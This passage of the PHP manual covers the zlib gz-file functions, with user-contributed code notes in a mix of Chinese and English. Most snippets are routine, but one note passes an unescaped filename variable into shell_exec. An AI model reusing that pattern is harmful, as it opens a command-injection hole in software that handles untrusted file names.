        if ( $this->__buffer_len == 0 ) { return false; }
        $return = fwrite($this->__fh, $this->__buffer);
        $this->__buffer_len = 0;
        $this->__buffer = '';
        return $return;
    }

    public function getReadFilehandle() {
        if ( ! $this->final_read_fh ) {
            $this->flushBuffer();
            stream_filter_remove($this->gz_filter);
            $crc = hash_final($this->file_hash, TRUE);            // hash_final is a string, not an integer
            fwrite($this->__fh, $crc[3].$crc[2].$crc[1].$crc[0]); // need to reverse the hash_final string so it's little endian
            fwrite($this->__fh, pack("V", $this->uncompressed_bytes), 4);

            $this->filesize = ftell($this->__fh);
            rewind($this->__fh);
            $this->final_read_fh = $this->__fh;
        }
        return $this->final_read_fh;
    }
}
David Gero dave at havidave dot com 06-Sep-2011 02:02
gzopen("php://output","wb") doesn't work on a web server, nor does fopen("compress.zlib://php://output","wb").

Here is a snippet to gzip a file and output it on the fly, without using a temporary file, without reading the file into memory, and without reading the file more than once:

<?php
$fin = fopen($file, "rb");
if ($fin !== FALSE) {
    $fout = fopen("php://output", "wb");
    if ($fout !== FALSE) {
    // write gzip header
    fwrite($fout, "\x1F\x8B\x08\x08".pack("V", filemtime($file))."\0\xFF", 10);
    // write the original file name
    $oname = str_replace("\0", "", basename($file));
    fwrite($fout, $oname."\0", 1+strlen($oname));
    // add the deflate filter using default compression level
    $fltr = stream_filter_append($fout, "zlib.deflate", STREAM_FILTER_WRITE, -1);
    // set up the CRC32 hashing context
    $hctx = hash_init("crc32b");
    // turn off the time limit
    if (!ini_get("safe_mode")) set_time_limit(0);
    $con = TRUE;
    $fsize = 0;
    while (($con !== FALSE) && !feof($fin)) {
        // deflate works best with buffers >32K
        $con = fread($fin, 64 * 1024);
        if ($con !== FALSE) {
        hash_update($hctx, $con);
        $clen = strlen($con);
        $fsize += $clen;
        fwrite($fout, $con, $clen);
        }
    }
    // remove the deflate filter
    stream_filter_remove($fltr);
    // write the CRC32 value
    // hash_final is a string, not an integer
    $crc = hash_final($hctx, TRUE);
    // need to reverse the hash_final string so it's little endian
    fwrite($fout, $crc[3].$crc[2].$crc[1].$crc[0], 4);
    // write the original uncompressed file size
    fwrite($fout, pack("V", $fsize), 4);
    fclose($fout);
    }
    fclose($fin);
}
?>
plasma 05-Sep-2008 08:06
This worked unstable for me under high load (50+ files per second):

<?php
    $gz = gzopen ( $file, 'w9' );
    gzwrite ( $gz, $content );
    gzclose ( $gz );
?>

The following works fine:

<?php
    $f = fopen ( $file, 'w' );
    fwrite ( $f, gzcompress ( $content, 9 ) );
    fclose ( $f );
?>
katzlbtjunk at hotmail dot com 23-Apr-2008 12:15
WARNING gzopen and gzread have a major disadvantage. They makes NO checksum and NO length verification of the gzipped data and discard this valuable information. This should be documented here.
rob at digital-crocus dot com 01-Jun-2005 05:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu 29-Jan-2005 10:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com 21-Oct-2004 12:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net 02-Jan-2002 07:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...


Output all remaining data on a gz-file pointer

  • ? gzopen
  • gzputs ?
  • PHP Manual
  • Zlib 函数
  • Output all remaining data on a gz-file pointer

gzpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

gzpassthru — Output all remaining data on a gz-file pointer

说明

gzpassthru(resource $stream): int

Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.

Note:

You may need to call gzrewind() to reset the file pointer to the beginning of the file if you have already written data to it.

Tip

If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readgzfile() function, which saves you the gzopen() call.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The number of uncompressed characters read from gz and passed through to the input.

示例

Example #1 gzpassthru() example

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


别名 gzwrite

  • ? gzpassthru
  • gzread ?
  • PHP Manual
  • Zlib 函数
  • 别名 gzwrite

gzputs

(PHP 4, PHP 5, PHP 7, PHP 8)

gzputs — 别名 gzwrite()

说明

此函数是该函数的别名： gzwrite().

User Contributed Notes

There are no user contributed notes for this page.


Binary-safe gz-file read

  • ? gzputs
  • gzrewind ?
  • PHP Manual
  • Zlib 函数
  • Binary-safe gz-file read

gzread

(PHP 4, PHP 5, PHP 7, PHP 8)

gzread — Binary-safe gz-file read

说明

gzread(resource $stream, int $length): string|false

gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The number of bytes to read.

返回值

The data that have been read, 或者在失败时返回 false.

更新日志

版本 | 说明
7.4.0 | This functions returns false on failure now; previously 0 was returned.

示例

Example #1 gzread() example

<?php
// get contents of a gz-file into a string
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

参见

  • gzwrite() - Binary-safe gz-file write
  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • gzgetss() - Get line from gz-file pointer and strip HTML tags
  • gzfile() - Read entire gz-file into an array
  • gzpassthru() - Output all remaining data on a gz-file pointer

User Contributed Notes

imp 15-Jun-2023 01:43
The maximum $length is 2147483647 bytes (2^32-1).

Otherwise gzread() return false.
waldermort at gmail dot com 26-Jul-2017 07:19
Be careful when reading data in a loop. gzread() behaves a little differently than bzread() or fread(), it does NOT return false when reading past the end of stream. It instead returns an empty string.

So a loop like:
$handle = gzopen($file);
while (false !== $chunk = gzread($handle, $bytes)) {
   //...
}

will loop indefinitely.
Nitrogen 17-Sep-2012 03:02
Here is a function for returning the uncompressed filesize of a gzip file. The filesize is stored as a 32-bit integer in the end of the compressed file, that's how this function works. Additionally, this function checks to see if it's a real gzip compressed file before doing the work; if it isn't, then just like other gz- functions, it'll treat it just like a regular file and perform a normal filesize operation. Enjoy!

<?php

function gzfilesize($filename) {
  $gzfs = FALSE;
  if(($zp = fopen($filename, 'r'))!==FALSE) {
    if(@fread($zp, 2) == "\x1F\x8B") { // this is a gzip'd file
      fseek($zp, -4, SEEK_END);
      if(strlen($datum = @fread($zp, 4))==4)
        extract(unpack('Vgzfs', $datum));
    }
    else // not a gzip'd file, revert to regular filesize function
      $gzfs = filesize($filename);
    fclose($zp);
  }
  return($gzfs);
}

?>
calin_ip at yahoo dot com 10-Nov-2010 03:55
Regarding finding out the lenght of the gz file.
For some reason the seek() function didn't worked, so, I've tried finding out the last 4 bytes using string functions.
That worked pretty well. Here is the code.
<?php
$stringu='my_beautiful_file.txt.gz';
$gzip=file_get_contents($stringu);
$rest = substr($gzip, -4);
$GZFileSize = end(unpack("V", $rest));

$FileRead = $stringu;
$HandleRead = gzopen($FileRead, "rb");
$ContentRead = gzread($HandleRead, $GZFileSize);
gzclose($HandleRead);
?>
denis at bitrix dot ru 16-Jul-2010 09:00
Note that this functions' behavior differs from fread in case of EOF.

When you read the last chunk (mean the last bytes from file), it is EOF just after gzread, but in case of fread you need to read once more to get EOF.

Hope, I am clear :)
robinv12001 at yahoo dot co dot in 10-Jun-2009 09:21
<?php
//Extracting the content of a gzip file in php and creating a new csv file using the content
//Create a folder uploads inside current folder
$local_file    =    'test.gz';

//To Get the size of the uncompressed file
$FileRead = $local_file;
$FileOpen = fopen($FileRead, "rb");
fseek($FileOpen, -4, SEEK_END);
$buf = fread($FileOpen, 4);
$GZFileSize = end(unpack("V", $buf));
fclose($FileOpen);
//To Get the size of the zip file

$fzip_size    =    $GZFileSize;

$filename    =    $local_file;
$ext        =    pathinfo($filename,PATHINFO_EXTENSION);
$file_name    =    pathinfo($filename,PATHINFO_FILENAME);
$file_name    =    $file_name.".csv";

$zd         =     gzopen($filename, "rb");
$contents     =     gzread($zd, $fzip_size);
gzclose($zd);
$file_name    =    "uploads/".$file_name;
$fp    =    fopen($file_name, "wb");
fwrite($fp, $contents); //write contents of feed to cache file
fclose($fp);
if(file_exists($file_name))
{
    chmod($file_name,0755);
    unlink($local_file);
}
?>
robinv12001 at yahoo dot co dot in 09-Jun-2009 02:18
<?php
//Using FTP Download a gzip file on current date from a remote server
//The gzip files are extracted
function parse_rawlist( $array )
{
    $i=0;
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']      =     $current[0];
        $struc['number']     =     $current[1];
        $struc['owner']     =     $current[2];
        $struc['group']      =     $current[3];
        $struc['size']         =     $current[4];
        $struc['month']      =     $current[5];
        $struc['day']        =     $current[6];
        $struc['time']      =     $current[7];
        $struc['zfile_name']      =     $current[8];
     $structure[$i]      =     $struc;
    $i++;
    }
   return $structure;

}
ini_set('memory_limit', '100M');

//Give FTP Information Here
//------------------------------------------------------------
$ftp_server     =     "example.com";
$ftp_user_name    =    "example";
$ftp_user_pass    =    "test";
//------------------------------------------------------------
//------------------------------------------------------------
$local_path     =    '/opt/lampp/htdocs/sample/test.gz';//Local Path
$server_path     =     'outgoing/folder/';//Remote Sever Path
//------------------------------------------------------------

$conn_id = ftp_connect($ftp_server,21);
if($conn_id)
{
    echo "Successfully connected";
}

$login_result     =     ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_chdir($conn_id, $server_path);//Change Current Working Directory
$file_list     =    ftp_rawlist($conn_id,".");
$zip_details    =    parse_rawlist($file_list);
set_time_limit(1000);
$curr_date    =    strtotime(date("F d Y"));
for($i=0;$i<count($zip_details);$i++)
{
    $fname        =    $zip_details[$i]['zfile_name'];
    $mod_date1    =    $zip_details[$i]['month']." ".$zip_details[$i]['day']." ".date("Y");
    $mod_date    =    strtotime($mod_date1);//File Modified Date
    if($mod_date == $curr_date)//If modified date equals current date
    {
        $local_file    =    $fname;
        $server_file    =    $fname;
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY))
        {

            echo "<br/>Successfully written to $local_file\n";
        }
        else
        {
            echo "<br/>There was a problem\n";
        }
        if(file_exists($local_file))
        {
            $fzip_size    =    $zip_details[$i]['size'];
            $filename    =    $local_file;
            $ext        =    pathinfo($filename,PATHINFO_EXTENSION);
            $file_name    =    pathinfo($filename,PATHINFO_FILENAME);
            $file_name    =    $file_name.".csv";
            $zd         =     gzopen($filename, "r");
            $contents     =     gzread($zd, $fzip_size);
            $file_name    =    "uploads/".$file_name;
            file_put_contents($file_name,addslashes($contents));
            if(file_exists($file_name))
            {
                chmod($file_name,0755);
                unlink($local_file);
            }
            gzclose($zd);
        }
    }
}
ftp_close($conn_id);
?>
utku 08-Feb-2008 01:31
I don't think it would be wise to open a whole gzip file (it _is_ compressed for a reason, and likely to be a very big file) into a single string. You would most likely hit the php memory limits. Instead, if you need to process the file, put your gzread calls in a loop, and read incrementally by a setting $length to a constant value.
zaotong at yahoo dot com 07-Mar-2007 03:06
As was shown to me in another forum there is a way to get the uncompressed size of the gz file by viewing the last 4 bytes of the gz file.

Here is a piece of code that will do this
<?php
$FileRead = 'SomeText.txt';
$FileOpen = fopen($FileRead, "rb");
        fseek($FileOpen, -4, SEEK_END);
        $buf = fread($FileOpen, 4);
        $GZFileSize = end(unpack("V", $buf));
        fclose($FileOpen);
        $HandleRead = gzopen($FileRead, "rb");
        $ContentRead = gzread($HandleRead, $GZFileSize);
?>

This will read the last 4 bytes of the gz file and use it as the file int for the gzread.

Thanks to stereofrog for helping me with this code.


Rewind the position of a gz-file pointer

  • ? gzread
  • gzseek ?
  • PHP Manual
  • Zlib 函数
  • Rewind the position of a gz-file pointer

gzrewind

(PHP 4, PHP 5, PHP 7, PHP 8)

gzrewind — Rewind the position of a gz-file pointer

说明

gzrewind(resource $stream): bool

Sets the file position indicator of the given gz-file pointer to the beginning of the file stream.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • gzseek() - Seek on a gz-file pointer
  • gztell() - Tell gz-file pointer read/write position

User Contributed Notes

There are no user contributed notes for this page.


Seek on a gz-file pointer

  • ? gzrewind
  • gztell ?
  • PHP Manual
  • Zlib 函数
  • Seek on a gz-file pointer

gzseek

(PHP 4, PHP 5, PHP 7, PHP 8)

gzseek — Seek on a gz-file pointer

说明

gzseek(resource $stream, int $offset, int $whence = SEEK_SET): int

Sets the file position indicator for the given file pointer to the given offset byte into the file stream. Equivalent to calling (in C) gzseek(zp, offset, SEEK_SET).

If the file is opened for reading, this function is emulated but can be extremely slow. If the file is opened for writing, only forward seeks are supported; gzseek() then compresses a sequence of zeroes up to the new starting position.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

offset

The seeked offset.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

返回值

Upon success, returns 0; otherwise, returns -1. Note that seeking past EOF is not considered an error.

示例

Example #1 gzseek() example

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

参见

  • gztell() - Tell gz-file pointer read/write position
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

liuhaifeng at example dot com 15-Oct-2012 05:43
Since seek after the end is not considered an error, I doubt that "while (gzseek ($fh, $eof) == 0) $eof += $d;" will get into infinite loop.
dperham at wgate dot com 12-Apr-2005 08:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d   = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
      $d >>= 1;
      $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}


Tell gz-file pointer read/write position

  • ? gzseek
  • gzuncompress ?
  • PHP Manual
  • Zlib 函数
  • Tell gz-file pointer read/write position

gztell

(PHP 4, PHP 5, PHP 7, PHP 8)

gztell — Tell gz-file pointer read/write position

说明

gztell(resource $stream): int|false

Gets the position of the given file pointer; i.e., its offset into the uncompressed file stream.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The position of the file pointer or false if an error occurs.

参见

  • gzopen() - Open gz-file
  • gzseek() - Seek on a gz-file pointer
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

Steve Ramage 18-Dec-2006 10:09
ok so this function returns the gz file pointer as the uncompressed data byte length so if you are trying to put something in to specific size gzip files it won't work.

Example:

<?
//some_file.sql  filesize = 2,048,000 bytes

$text_fp=fopen('some_file.sql','r');
$gz_fp=gzopen('some_file.sql.gz','wb9');
while(!feof($text_fp)){
    gzwrite($gz_fp,fread($text_fp,655360));
}
fclose($text_fp);
echo "gztell = ".gztell($gz_fp)."<BR>\n";
gzclose($gz_fp);
echo "filesize = ".filesize('some_file.sql.gz')."<BR>\n";
?>

Output:

gztell = 2048000
filesize = 249264

I will report this as a bug but post a note here for now


Uncompress a compressed string

  • ? gztell
  • gzwrite ?
  • PHP Manual
  • Zlib 函数
  • Uncompress a compressed string

gzuncompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzuncompress — Uncompress a compressed string

说明

gzuncompress(string $data, int $max_length = 0): string|false

This function uncompress a compressed string.

参数

data

The data compressed by gzcompress().

max_length

The maximum length of data to decode.

返回值

The original uncompressed data or false on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter max_length.

示例

Example #1 gzuncompress() example

<?php
$compressed = gzcompress('Compress me', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

参见

  • gzcompress() - Compress a string
  • gzinflate() - Inflate a deflated string
  • gzdeflate() - Deflate a string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:38
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
MagicalTux at php dot net 31-Dec-2010 01:36
Hi, I got an alternative for those zipped strings that gzuncompress() cannot extract.

It is a bit better than previous options as it do not create any temporary files, but it has to encode the string in base64, meaning it won't be as fast as a native equivalent (which is probably going to be gzdecode())

<?php
if (!function_exists('gzdecode')) {
    function gzdecode($string) { // no support for 2nd argument
        return file_get_contents('compress.zlib://data:who/cares;base64,'. base64_encode($string));
    }
}
?>
squeegee 23-Aug-2009 07:07
One way to uncompress zlib-compressed data that is in a file without first reading in the file and then gzuncompressing it (maybe you have memory problems doing it that way) is to compile the zpipe.c program from zlib ( http://www.zlib.net/zpipe.c )...

on linux, etc:

# gcc -lz -o zpipe zpipe.c

# cp zpipe /usr/local/bin

Then do this

<?php

$uncompressed = shell_exec("cat $compressed_file | zpipe -d");

?>
heavyccasey at gmail dot com 07-Nov-2007 08:30
Note that gzuncompress() may not decompress some compressed strings and return a Data Error.

The problem could be that the outside compressed string has a CRC32 checksum at the end of the file instead of Adler-32, like PHP expects.

Workaround:
<?php
    function gzuncompress_crc32($data) {
         $f = tempnam('/tmp', 'gz_fix');
         file_put_contents($f, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $data);
         return file_get_contents('compress.zlib://' . $f);
    }
?>
gabriel at bumpt dot n-et 17-Sep-2007 03:08
To uncompress in PHP a string that has been compressed using MySQL's COMPRESS() function, you need to discard the first four bytes of the binary data:

<?php

  /*
   * Example:
   *
   * insert into mytable (myfield, ...) values (COMPRESS('foobar'), ...)
   *
   * then:
   */
$compressed = //...select myfield from mytable where...
  /*
   * then:
   */
$uncompressed = gzuncompress(substr($compressed, 4));
?>

Of course, you can use MySQL's UNCOMPRESS() function.
I was just providing an alternate method.
emanuele at fondani dot it 25-Nov-2006 03:21
Note that the manual states that the input parameter must be a string compressed with gzcompress(), so it is not guaranteed that it will compress ANY zlib compressed string.
I realized this while decompressing some compressed string in a pdf file. The gzuncompress() function produces a data error, but the string can be successfully decompressed with other zlib decompressors.

More info here:
http://bugs.php.net/?id=39616
chappy at citromail dot hu 13-Apr-2006 07:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
    The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                   4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
    echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>


Binary-safe gz-file write

  • ? gzuncompress
  • inflate_add ?
  • PHP Manual
  • Zlib 函数
  • Binary-safe gz-file write

gzwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

gzwrite — Binary-safe gz-file write

说明

gzwrite(resource $stream, string $data, ?int $length = null): int|false

gzwrite() writes the contents of data to the given gz-file.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

data

The string to write.

length

The number of uncompressed bytes to write. If supplied, writing will stop after length (uncompressed) bytes have been written or the end of data is reached, whichever comes first.

返回值

Returns the number of (uncompressed) bytes written to the given gz-file stream, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | length is nullable now; previously, the default was 0.
7.4.0 | This functions returns false on failure now; previously 0 was returned.

示例

Example #1 gzwrite() example

<?php
$string = 'Some information to compress';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

参见

  • gzread() - Binary-safe gz-file read
  • gzopen() - Open gz-file

User Contributed Notes

Take Heed 07-Nov-2010 12:50
Read the description of gzwrite() very carefully.  If the 'length' option is not specified, then the input data will have slashes stripped on systems where magic quotes are enabled.  This is important information to know when compressing files.

<?php
$data = fread($fp, 5000);
gzwrite($fp2, $data, strlen($data));
?>

Is the correct way to avoid issues with magic quotes.
calmarius at nospam dot atw dot hu 05-Feb-2009 08:07
gz compression is often used with tar archives. Building tar archives is quite easy. Here is a code snipplet which can be used for building tar archives before compressing them to tar.gz.

<?php

//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
// Adds file header to the tar file, it is used before adding file content.
// f: file resource (provided by eg. fopen)
// phisfn: path to file
// archfn: path to file in archive, directory names must be followed by '/'
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
function TarAddHeader($f,$phisfn,$archfn)
{
    $info=stat($phisfn);
    $ouid=sprintf("%6s ", decoct($info[4]));
    $ogid=sprintf("%6s ", decoct($info[5]));
    $omode=sprintf("%6s ", decoct(fileperms($phisfn)));
    $omtime=sprintf("%11s", decoct(filemtime($phisfn)));
    if (@is_dir($phisfn))
    {
         $type="5";
         $osize=sprintf("%11s ", decoct(0));
    }
    else
    {
         $type='';
         $osize=sprintf("%11s ", decoct(filesize($phisfn)));
         clearstatcache();
    }
    $dmajor = '';
    $dminor = '';
    $gname = '';
    $linkname = '';
    $magic = '';
    $prefix = '';
    $uname = '';
    $version = '';
    $chunkbeforeCS=pack("a100a8a8a8a12A12",$archfn, $omode, $ouid, $ogid, $osize, $omtime);
    $chunkafterCS=pack("a1a100a6a2a32a32a8a8a155a12", $type, $linkname, $magic, $version, $uname, $gname, $dmajor, $dminor ,$prefix,'');

    $checksum = 0;
    for ($i=0; $i<148; $i++) $checksum+=ord(substr($chunkbeforeCS,$i,1));
    for ($i=148; $i<156; $i++) $checksum+=ord(' ');
    for ($i=156, $j=0; $i<512; $i++, $j++)    $checksum+=ord(substr($chunkafterCS,$j,1));

    fwrite($f,$chunkbeforeCS,148);
    $checksum=sprintf("%6s ",decoct($checksum));
    $bdchecksum=pack("a8", $checksum);
    fwrite($f,$bdchecksum,8);
    fwrite($f,$chunkafterCS,356);
    return true;
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Writes file content to the tar file must be called after a TarAddHeader
// f:file resource provided by fopen
// phisfn: path to file
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarWriteContents($f,$phisfn)
{
    if (@is_dir($phisfn))
    {
        return;
    }
    else
    {
        $size=filesize($phisfn);
        $padding=$size % 512 ? 512-$size%512 : 0;
        $f2=fopen($phisfn,"rb");
        while (!feof($f2)) fwrite($f,fread($f2,1024*1024));
        $pstr=sprintf("a%d",$padding);
        fwrite($f,pack($pstr,''));
    }
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Adds 1024 byte footer at the end of the tar file
// f: file resource
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarAddFooter($f)
{
    fwrite($f,pack('a1024',''));
}

?>
repository at lamaresh dot net 03-Feb-2009 10:37
This function add a line to a .gz compressed file

<?php
function AppendLineGz($file,$string) {
    if (file_exists($file)) {
        $lines = gzfile($file);
        $lines[count($lines)] = "$string\r\n";
        $input=implode($lines);
    } else {$input="$string\r\n";}
    $gz = gzopen($file,'w9');
    gzwrite($gz, $input);
    gzclose($gz);
}
?>
Anonymous 27-Mar-2008 12:34
katzlbtjunk's method is certainly shorter, but it is unusable for anything except small files.  It would try to load the whole file into memory, then create an entire compressed copy, and only then write it to disk.  The other method given below will not exhaust memory like that.
katzlbtjunk at hotmail dot com 21-Feb-2008 11:24
How about this instead:
$s = file_get_contents('file.tar');
file_put_contents('file.tar.gz',gzencode($s,9));
Kioob 13-Aug-2003 04:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
    $dest=$source.'.gz';
    $mode='wb'.$level;
    $error=false;
    if($fp_out=gzopen($dest,$mode)){
        if($fp_in=fopen($source,'rb')){
            while(!feof($fp_in))
                gzwrite($fp_out,fread($fp_in,1024*512));
            fclose($fp_in);
            }
          else $error=true;
        gzclose($fp_out);
        }
      else $error=true;
    if($error) return false;
      else return $dest;
    }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.


Incrementally inflate encoded data

  • ? gzwrite
  • inflate_get_read_len ?
  • PHP Manual
  • Zlib 函数
  • Incrementally inflate encoded data

inflate_add

(PHP 7, PHP 8)

inflate_add — Incrementally inflate encoded data

说明

inflate_add(InflateContext $context, string $data, int $flush_mode = ZLIB_SYNC_FLUSH): string|false

Incrementally inflates encoded data in the specified context.

Limitation: header information from GZIP compressed data are not made available.

参数

context

A context created with inflate_init().

data

A chunk of compressed data.

flush_mode

One of ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (default), ZLIB_FULL_FLUSH, ZLIB_FINISH. Normally you will want to set ZLIB_NO_FLUSH to maximize compression, and ZLIB_FINISH to terminate with the last chunk of data. See the » zlib manual for a detailed description of these constants.

返回值

Returns a chunk of uncompressed data, 或者在失败时返回 false.

错误／异常

If invalid parameters are given, inflating the data requires a preset dictionary, but none is specified, the compressed stream is corrupt or has an invalid checksum, an error of level E_WARNING is generated.

更新日志

版本 | 说明
8.0.0 | context expects an InflateContext instance now; previously, a resource was expected.

参见

  • inflate_init() - Initialize an incremental inflate context

User Contributed Notes

burp at -only-in-German-fuerspam dot de 20-Apr-2023 12:30
It's not obvious how to use this for _incremental_ decompression:
You feed _the compressed data_ into inflate_add() _in pieces_.
The internal state of the zlib context will make sure than you can split at any point and still get the correct total data out, as long as you keep reading until the end.

In this way, you don't have to hold the complete uncompressed data in memory at any one time (and don't have to materialize it either as a file for gzopen() etc.), allowing you to parse files much bigger than the available php memory limit.

<?php
/* a good step size depends on the input's level of compression,
unfortunately there's no obvious way to know that beforehand;
